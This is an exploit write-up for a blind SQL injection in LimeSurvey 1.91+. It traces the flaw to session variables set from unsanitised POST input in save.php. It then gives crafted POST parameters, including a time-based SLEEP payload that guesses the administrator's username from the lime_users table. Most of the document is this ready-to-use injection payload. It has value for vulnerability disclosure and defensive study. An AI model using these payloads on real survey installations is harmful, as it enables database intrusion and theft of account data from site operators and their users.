# Exploit Title: LimeSurvey Blind SQL injection # Date: 20/02/2012 # Author: TorTukiTu - OpenSphere # Version: 1.91+ build 11804 # Tested on: php {cke_protected}{C}{cke_protected}{C} ------------------------------------------------------------------------- # TorTukiTu - Killing Tortoise # ,-"""-. # oo._/ \___/ \ # (____)_/___\__\_) # /_// \\_\ # # Cookie hacking + Blind SQL Injection # The vulnerability occurs when a user answers a survey (index.php). # The session variables can be freely hacked using the following lines in save.php l.82 : # if (isset($_POST[$pf])) {$_SESSION[$pf] = $_POST[$pf];} # if (!isset($_POST[$pf])) {$_SESSION[$pf] = "";} # $pf is user input in the POST variable # once splitted, SQL request is directly build from those sessions variable by function createinsertquery(), # if a special Post variable 'srid' is set both in the variable # 'fieldnames' and as simple POST variable (query l. 715 save.php). # The user can realize blind SQL injections with specially crafted POST variables. # Normal POST variables example: fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003 MULTI17165X6X18=8 tbdisp17... ... start_time=1329742665 # Craft POST variables like this : fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C[VALID FIELD ID]` = [SQL INJECTION]--%7Csrid MULTI17165X6X18=8 tbdisp17... ... start_time=1329742665 srid=[SOME INTEGER] #Example : Blind SQL user name guessing : fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C17165X6X18SQ001` = NULL WHERE id=6 AND id IN ( SELECT IF ( (SELECT SUBSTRING(users_name,1) FROM lime_users WHERE uid=1) LIKE 'a%', 1, SLEEP(5)))--%7Csrid MULTI17165X6X18=8 tbdisp17... ... start_time=1329742665 srid=42 -------------------------------------------------------------------------